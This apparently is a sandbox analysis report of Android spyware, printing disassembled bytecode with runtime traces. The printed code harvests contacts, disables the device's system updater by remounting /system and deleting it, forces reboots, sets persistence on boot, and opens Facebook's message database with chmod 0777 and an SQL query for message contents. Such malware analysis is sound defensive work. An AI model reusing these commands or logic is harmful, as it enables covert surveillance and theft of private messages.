      48invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      50invoke-static {v0, v2, v3}, Lcom/network/android/monitor/observer/i;->a(Landroid/content/ContentResolver;Landroid/database/Cursor;Ljava/lang/StringBuilder;)Ljava/lang/String;
      51move-result-object v4
      53invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      54move-result-object v3
      56invoke-static {}, Lcom/network/android/monitor/observer/i;->b()Ljava/util/Map;
      57move-result-object v5
      59invoke-virtual {v3}, Ljava/lang/String;->hashCode()I
      60move-result v3
      62invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      63move-result-object v3
      65invoke-interface {v5, v4, v3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
      66rem-int/lit8 v3, v1, 0x23
      67if-nez v3, :cond_36
      68const-wide/16 v3, 0x3
      70invoke-static {v3, v4}, Ljava/lang/Thread;->sleep(J)V
      71try_end_63: goto/16 :goto_36
      72catch_64: move-exception v0
      73try_start_65: new-instance v1, Ljava/lang/StringBuilder;
      75const-string v3, "get contacts scaner Exception- "
      77invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      79invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      80move-result-object v3
      82invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      83move-result-object v1
      85invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      86move-result-object v1
      88invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      89cond_7b: if-eqz v2, :cond_ea
      90try_start_7d:
      91invoke-interface {v2}, Landroid/database/Cursor;->isClosed()Z
      92move-result v0
      93if-nez v0, :cond_ea
      95invoke-interface {v2}, Landroid/database/Cursor;->close()V
      96goto_86:
      97invoke-static {}, Lcom/network/android/monitor/observer/i;->c()Z
      • Time: 1079637
        • Return:
          • true
      98goto_89: return-void
      99cond_8a:
      100const-string v0, "Load Contacts Map end"
      102invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      103try_end_8f: goto/16 :goto_7b
      104catchall_90: move-exception v0
      105if-eqz v2, :cond_de
      106try_start_93:
      107invoke-interface {v2}, Landroid/database/Cursor;->isClosed()Z
      108move-result v1
      109if-nez v1, :cond_de
      111invoke-interface {v2}, Landroid/database/Cursor;->close()V
      112goto_9c:
      113invoke-static {}, Lcom/network/android/monitor/observer/i;->c()Z
      114throw v0
      115try_end_a0: move-exception v0
      116new-instance v1, Ljava/lang/StringBuilder;
      118const-string v2, "get contacts scaner get resolver Exception- "
      120invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      122invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      123move-result-object v2
      125invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      126move-result-object v1
      128invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      129move-result-object v1
      131invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      132goto/16 :goto_89
      133catch_b8: move-exception v0
      134try_start_b9: new-instance v1, Ljava/lang/StringBuilder;
      136const-string v3, "get contacts scaner Exception- "
      138invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      140invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      141move-result-object v3
      143invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      144move-result-object v1
      146invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      147move-result-object v1
      149invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      150try_end_cf: if-eqz v2, :cond_e4
      151try_start_d1:
      152invoke-interface {v2}, Landroid/database/Cursor;->isClosed()Z
      153move-result v0
      154if-nez v0, :cond_e4
      156invoke-interface {v2}, Landroid/database/Cursor;->close()V
      157goto_da:
      158invoke-static {}, Lcom/network/android/monitor/observer/i;->c()Z
      159goto/16 :goto_89
      160cond_de:
      161const-string v1, "readCalendar finally - cursor was closed"
      163invoke-static {v1}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      164goto/16 :goto_9c
      165cond_e4:
      166const-string v0, "readCalendar finally - cursor was closed"
      168invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      169goto/16 :goto_da
      170cond_ea:
      171const-string v0, "readCalendar finally - cursor was closed"
      173invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      174try_end_ef: goto/16 :goto_86
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.String.compareTo
      Strings
      • getSettingsFromBH started
      • getSettingsFromBH not running - agent is on kill state
      • getSettingsFromBH readSettingsFromBHFile from data failed. reading system
      • /system/ttg
      • getSettingsFromBH readSettingsFromBHFile failed. reading from URL history
      • /data/myappinfo
      • getSettingsFromBH no valid settings on getSettingsFromHistory
      • getSettingsFromBH exception:
      • getSettingsFromBH instalation validateMcc
      • getSettingsFromBH no valid MCC on getSettingsFromHistory
      • getSettingsFromBH installed from update. not running validateMcc
      • -
      • getSettingsFromBH installed on system after update. rebooting device
      • sleep 30; reboot
      • getSettingsFromBH installed on system after update. already rebooted
      • Debug Url
      Position Instruction Meta Information
      0const/4 v0, 0x0
      1const/4 v1, 0x1
      2try_start_2:
      3const-string v2, "getSettingsFromBH started"
      5invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073252
        • p0: getSettingsFromBH started
      6sget-boolean v2, Lcom/network/h/b;->a:Z
      7if-eqz v2, :cond_11
      9const-string v1, "getSettingsFromBH not running - agent is on kill state"
      11invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079592
        • p0: getSettingsFromBH not running - agent is on kill state
      12goto_10: return v0
      13cond_11:
      14const-string v2, "/data/myappinfo"
      16invoke-static {p0, v2}, Lcom/network/h/b;->c(Landroid/content/Context;Ljava/lang/String;)Z
      • Time: 1076984
        • This:
          • /data/myappinfo
        • p0: /data/myappinfo
        • Return:
          • /data/myappinfo
      17move-result v2
      18if-nez v2, :cond_24
      20const-string v2, "getSettingsFromBH readSettingsFromBHFile from data failed. reading system"
      22invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073315
        • p0: getSettingsFromBH readSettingsFromBHFile from data failed. reading system
      24const-string v2, "/system/ttg"
      26invoke-static {p0, v2}, Lcom/network/h/b;->c(Landroid/content/Context;Ljava/lang/String;)Z
      • Time: 1077160
        • This:
          • /system/ttg
        • p0: /system/ttg
        • Return:
          • /system/ttg
      27move-result v2
      28cond_24: if-nez v2, :cond_2e
      30const-string v2, "getSettingsFromBH readSettingsFromBHFile failed. reading from URL history"
      32invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073364
        • p0: getSettingsFromBH readSettingsFromBHFile failed. reading from URL history
      34invoke-static {p0}, Lcom/network/h/b;->i(Landroid/content/Context;)Z
      • Time: 1077308
        • This:
          • android.app.ContextImpl$ApplicationContentResolver@623ae6
        • p0: content://browser/bookmarks
        • p1: null
        • p2: null
        • p3: null
        • p4: null
        • Return:
          • android.content.ContentResolver$CursorWrapperInner@fc61137
      35cond_2e:
      36invoke-static {p0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      38const-string v2, "/data/myappinfo"
      40invoke-static {v2}, Lcom/network/h/b;->b(Ljava/lang/String;)V
      • Time: 1073635
        • p0: /data/myappinfo
        • Return:
          • java.io.FileNotFoundException: /data/myappinfo (Permission denied)
      • Time: 1073637
        • p0: /data/myappinfo
      42invoke-static {}, Lcom/network/h/b;->a()Z
      • Time: 1073640
        • Return:
          • false
      43move-result v2
      44if-nez v2, :cond_62
      46const-string v1, "getSettingsFromBH no valid settings on getSettingsFromHistory"
      48invoke-static {v1}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      • Time: 1073641
        • p0: getSettingsFromBH no valid settings on getSettingsFromHistory
      49const/4 v1, 0x1
      50const/4 v2, 0x4
      52invoke-static {v1, v2}, Lcom/network/android/c/a/b;->a(IS)V
      54invoke-static {p0}, Lcom/network/android/a/c;->a(Landroid/content/Context;)V
      55try_end_49: goto/16 :goto_10
      56catch_4a: move-exception v1
      57new-instance v2, Ljava/lang/StringBuilder;
      59const-string v3, "getSettingsFromBH exception: "
      61invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      63invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      64move-result-object v3
      66invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      67move-result-object v2
      69invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      70move-result-object v2
      72invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      73goto/16 :goto_10
      74cond_62:
      75sget-object v3, Lcom/network/h/b;->b:Ljava/lang/String;
      76if-eqz v3, :cond_87
      78sget-object v3, Lcom/network/h/b;->b:Ljava/lang/String;
      80invoke-virtual {v3}, Ljava/lang/String;->length()I
      81move-result v3
      82if-le v3, v1, :cond_87
      84const-string v1, "getSettingsFromBH instalation validateMcc"
      86invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      88invoke-static {p0}, Lcom/network/h/b;->j(Landroid/content/Context;)Z
      89move-result v1
      90if-nez v1, :cond_8c
      92const-string v1, "getSettingsFromBH no valid MCC on getSettingsFromHistory"
      94invoke-static {v1}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      95const/4 v1, 0x1
      96const/4 v2, 0x5
      98invoke-static {v1, v2}, Lcom/network/android/c/a/b;->a(IS)V
      100invoke-static {p0}, Lcom/network/android/a/c;->a(Landroid/content/Context;)V
      101goto/16 :goto_10
      102cond_87:
      103const-string v3, "getSettingsFromBH installed from update. not running validateMcc"
      105invoke-static {v3}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      106cond_8c:
      107sget-object v3, Lcom/network/h/b;->b:Ljava/lang/String;
      108if-eqz v3, :cond_b4
      110sget-object v3, Lcom/network/h/b;->b:Ljava/lang/String;
      112const-string v4, "-"
      114invoke-virtual {v3, v4}, Ljava/lang/String;->compareTo(Ljava/lang/String;)I
      115move-result v3
      116if-nez v3, :cond_b4
      118invoke-static {p0}, Lcom/network/h/b;->d(Landroid/content/Context;)Z
      119move-result v3
      120if-eqz v3, :cond_b4
      121sget-boolean v3, Lcom/network/b/b;->B:Z
      122if-nez v3, :cond_ca
      124const-string v3, "getSettingsFromBH installed on system after update. rebooting device"
      126invoke-static {v3}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      127const/4 v3, 0x1
      128sput-boolean v3, Lcom/network/b/b;->B:Z
      130invoke-static {p0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      132const-string v3, "sleep 30; reboot"
      134invoke-static {v3}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      135goto_b4:
      136sget-object v3, Lcom/network/h/b;->b:Ljava/lang/String;
      137if-eqz v3, :cond_d0
      139sget-object v3, Lcom/network/h/b;->b:Ljava/lang/String;
      141invoke-static {v3}, Lcom/network/h/b;->d(Ljava/lang/String;)Ljava/lang/String;
      142move-result-object v3
      143sput-object v3, Lcom/network/b/b;->z:Ljava/lang/String;
      145invoke-static {v3, p0}, Lcom/network/h/b;->a(Ljava/lang/String;Landroid/content/Context;)V
      146goto_c3:
      147invoke-static {p0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      148and-int v0, v2, v1
      149goto/16 :goto_10
      150cond_ca:
      151const-string v3, "getSettingsFromBH installed on system after update. already rebooted"
      153invoke-static {v3}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      154goto/16 :goto_b4
      155cond_d0:
      156const-string v3, "Debug Url"
      158invoke-static {v3, p0}, Lcom/network/h/b;->a(Ljava/lang/String;Landroid/content/Context;)V
      159try_end_d5: goto/16 :goto_c3
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileWriter.<init>
      • java.io.FileWriter.write
      • java.io.FileWriter.flush
      • java.io.FileWriter.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileWriter.close
      Strings
      • clearFileData started. clrearing:
      • clearFileData started. clrearing: /data/cksnb.dat
      • clearFileData started. clrearing: /data/myappinfo
      • rm
      • ;
      • clearFileData ended
      • clearFileData exception:
      Position Instruction Meta Information
      0const/4 v2, 0x0
      1new-instance v0, Ljava/lang/StringBuilder;
      3const-string v1, "clearFileData started. clrearing: "
      5invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      7invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      8move-result-object v0
      10invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      11move-result-object v0
      13invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073280
        • p0: clearFileData started. clrearing: /data/cksnb.dat
      • Time: 1073633
        • p0: clearFileData started. clrearing: /data/myappinfo
      14try_start_13: new-instance v1, Ljava/io/FileWriter;
      16invoke-direct {v1, p0}, Ljava/io/FileWriter;-><init>(Ljava/lang/String;)V
      17try_end_18:
      18const-string v0, ""
      20invoke-virtual {v1, v0}, Ljava/io/FileWriter;->write(Ljava/lang/String;)V
      22invoke-virtual {v1}, Ljava/io/FileWriter;->flush()V
      24invoke-virtual {v1}, Ljava/io/FileWriter;->close()V
      25new-instance v0, Ljava/lang/StringBuilder;
      27const-string v2, "rm "
      29invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      31invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      32move-result-object v0
      34const-string v2, ";"
      36invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      37move-result-object v0
      39invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      40move-result-object v0
      42invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      44const-string v0, "clearFileData ended"
      46invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      47goto_40: return-void
      48catch_41: move-exception v0
      49move-object v1, v2
      50goto_43: new-instance v2, Ljava/lang/StringBuilder;
      52const-string v3, "clearFileData exception: "
      54invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      56invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      57move-result-object v3
      59invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      60move-result-object v2
      62invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      63move-result-object v2
      65invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      66if-eqz v1, :cond_40
      68invoke-virtual {v1}, Ljava/io/FileWriter;->close()V
      69try_end_5e: goto/16 :goto_40
      70catch_5f: move-exception v0
      71goto/16 :goto_40
      72catch_61: move-exception v0
      73goto/16 :goto_43
      APIs
      • java.lang.StringBuilder.<init>
      • android.content.Intent.getAction
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Intent.<init>
      • android.content.Context.startService
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.edit
      • java.lang.System.currentTimeMillis
      • android.content.SharedPreferences$Editor.putLong
      • android.content.SharedPreferences$Editor.commit
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • BootReceiver ussd:
      • android.intent.action.BOOT_COMPLETED
      • BootReceiver ussd: android.intent.action.BOOT_COMPLETED
      • startUssdService
      • NetworkMessages
      • restart
      • BootReceiver exception:
      Position Instruction Meta Information
      0new-instance v0, Ljava/lang/StringBuilder;
      2const-string v1, "BootReceiver ussd: "
      4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      6invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
      • Time: 1195317
        • This:
          • Intent { act=android.intent.action.BOOT_COMPLETED }
        • Return:
          • android.intent.action.BOOT_COMPLETED
      7move-result-object v1
      9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      10move-result-object v0
      12invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      13move-result-object v0
      15invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1195329
        • p0: BootReceiver ussd: android.intent.action.BOOT_COMPLETED
      16try_start_16:
      17const-string v0, "startUssdService"
      19invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1195333
        • p0: startUssdService
      20new-instance v0, Landroid/content/Intent;
      21const-class v1, Lcom/network/ussd/CDUSSDService;
      23invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      25invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
      • Time: 1195347
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: Intent { cmp=com.network.android/com.network.ussd.CDUSSDService }
        • Return:
          • ComponentInfo{com.network.android/com.network.ussd.CDUSSDService}
      27const-string v0, "NetworkMessages"
      28const/4 v1, 0x0
      30invoke-virtual {p1, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      31move-result-object v0
      33invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      34move-result-object v0
      36const-string v1, "restart"
      38invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      39move-result-wide v2
      41invoke-interface {v0, v1, v2, v3}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
      43invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
      44goto_3c: return-void
      45catch_3d: move-exception v0
      46new-instance v1, Ljava/lang/StringBuilder;
      48const-string v2, "BootReceiver exception: "
      50invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      52invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      53move-result-object v2
      55invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      56move-result-object v1
      58invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      59move-result-object v1
      61invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      62goto/16 :goto_3c
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Intent.<init>
      • android.content.Intent.setAction
      • com.network.android.agent.NetworkApp.e:Landroid/content/Context
      • android.app.PendingIntent.getBroadcast
      • android.app.AlarmManager.setRepeating
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • NetworApp onCreate setAlarm triggerAtMillis:
      • , intervalMillis:
      • ,actionType:
      • NetworApp onCreate setAlarm triggerAtMillis:30000, intervalMillis:60000 ,actionType:wake up
      • NetworApp setAlarm exception:
      Position Instruction Meta Information
      0try_start_0: new-instance v0, Ljava/lang/StringBuilder;
      2const-string v1, "NetworApp onCreate setAlarm triggerAtMillis:"
      4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      6invoke-virtual {v0, p1, p2}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      7move-result-object v0
      9const-string v1, ", intervalMillis:"
      11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      12move-result-object v0
      14invoke-virtual {v0, p3, p4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      15move-result-object v0
      17const-string v1, " ,actionType:"
      19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      20move-result-object v0
      22invoke-virtual {v0, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      23move-result-object v0
      25invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      26move-result-object v0
      28invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074472
        • p0: NetworApp onCreate setAlarm triggerAtMillis:30000, intervalMillis:60000 ,actionType:wake up
      29new-instance v0, Landroid/content/Intent;
      30const-class v1, Lcom/network/media/CoreReceiver;
      32invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      34invoke-virtual {v0, p5}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
      36sget-object v1, Lcom/network/android/agent/NetworkApp;->e:Landroid/content/Context;
      37const/4 v2, 0x0
      38const/4 v3, 0x0
      40invoke-static {v1, v2, v0, v3}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
      41move-result-object v6
      42const/4 v1, 0x0
      43move-object v0, p6
      44move-wide v2, p1
      45move-wide v4, p3
      47invoke-virtual/range {v0 .. v6}, Landroid/app/AlarmManager;->setRepeating(IJJLandroid/app/PendingIntent;)V
      48try_end_3f: return-void
      49catch_40: move-exception v0
      50new-instance v1, Ljava/lang/StringBuilder;
      52const-string v2, "NetworApp setAlarm exception: "
      54invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      56invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      57move-result-object v2
      59invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      60move-result-object v1
      62invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      63move-result-object v1
      65invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      66goto/16 :goto_3f
      Cross References
      APIs
      • android.content.Context.getContentResolver
      • android.provider.Settings$System.putInt
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • changeSettings
      • changeSettings set off SOFTWARE_UPDATE_AUTO_UPDATE
      • SOFTWARE_UPDATE_AUTO_UPDATE
      • /system/csk
      • changeSettings remove auto update
      • mount -o remount,rw,exec,suid /system; rm /system/app/FotaClient.apk; rm /system/app/FotaClient.odex; pm disable com.sec.android.fotaclient;
      • pm uninstall com.sec.android.fotaclient
      • changeSettings not install on system not changing SOFTWARE_UPDATE_AUTO_UPDATE
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "changeSettings"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079427
        • p0: changeSettings
      5invoke-static {p0}, Lcom/network/h/b;->d(Landroid/content/Context;)Z
      6move-result v0
      7if-eqz v0, :cond_4b
      9const-string v0, "changeSettings set off SOFTWARE_UPDATE_AUTO_UPDATE"
      11invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      13invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      14move-result-object v0
      16const-string v1, "SOFTWARE_UPDATE_AUTO_UPDATE"
      17const/4 v2, 0x0
      19invoke-static {v0, v1, v2}, Landroid/provider/Settings$System;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z
      20goto_1a: new-instance v0, Ljava/io/File;
      22const-string v1, "/system/csk"
      24invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1079470
        • This:
          • /system/csk
        • p0: /system/csk
        • Return:
          • /system/csk
      26invoke-virtual {v0}, Ljava/io/File;->exists()Z
      27move-result v0
      28if-eqz v0, :cond_4a
      30const-string v0, "changeSettings remove auto update"
      32invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      34const-string v0, "mount -o remount,rw,exec,suid /system; rm /system/app/FotaClient.apk; rm /system/app/FotaClient.odex; pm disable com.sec.android.fotaclient;"
      36invoke-static {}, Lcom/network/android/a/c;->e()Z
      37move-result v1
      38if-nez v1, :cond_47
      39new-instance v1, Ljava/lang/StringBuilder;
      41invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      43invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      44move-result-object v0
      46const-string v1, "pm uninstall com.sec.android.fotaclient"
      48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      49move-result-object v0
      51invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      52move-result-object v0
      53cond_47:
      54invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      55goto_4a: return-void
      56cond_4b:
      57const-string v0, "changeSettings not install on system not changing SOFTWARE_UPDATE_AUTO_UPDATE"
      59invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079468
        • p0: changeSettings not install on system not changing SOFTWARE_UPDATE_AUTO_UPDATE
      60try_end_50: goto/16 :goto_1a
      61catch_51: move-exception v0
      62new-instance v1, Ljava/lang/StringBuilder;
      64const-string v2, "changeSettings"
      66invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      68invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      69move-result-object v2
      71invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      72move-result-object v1
      74invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      75move-result-object v1
      77invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      78goto/16 :goto_4a
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • getFacebookApp GetContentIM start
      • facebook
      • /data/data/com.facebook.katana/
      • /data/data/com.facebook.katana/databases/threads_db2
      • SELECT messages.msg_id, messages.thread_id, messages.timestamp_ms, messages.text, messages.sender, threads.participants from messages INNER JOIN threads ON messages.thread_id=threads.thread_id
      • messages.timestamp_ms
      • chmod 0777 /data/data/com.facebook.katana; chmod 0777 /data/data/com.facebook.katana/databases; chmod 0777 /data/data/com.facebook.katana/databases/threads_db2; chmod 0777 /data/data/com.facebook.katana/databases/threads_db2-journal;
      • getFacebookApp GetContentIM end
      • getFacebookApp GetContentIM exception-
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "getFacebookApp GetContentIM start"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068630
        • p0: getFacebookApp GetContentIM start
      5const-string v3, "facebook"
      7const-string v4, "/data/data/com.facebook.katana/"
      9const-string v5, "/data/data/com.facebook.katana/databases/threads_db2"
      11const-string v6, "SELECT messages.msg_id, messages.thread_id, messages.timestamp_ms, messages.text, messages.sender, threads.participants from messages INNER JOIN threads ON messages.thread_id=threads.thread_id"
      13const-string v7, "messages.timestamp_ms"
      15const-string v8, "chmod 0777 /data/data/com.facebook.katana; chmod 0777 /data/data/com.facebook.katana/databases; chmod 0777 /data/data/com.facebook.katana/databases/threads_db2; chmod 0777 /data/data/com.facebook.katana/databases/threads_db2-journal; "
      17sget-object v9, Lcom/network/android/d/a;->e:Ljava/lang/String;
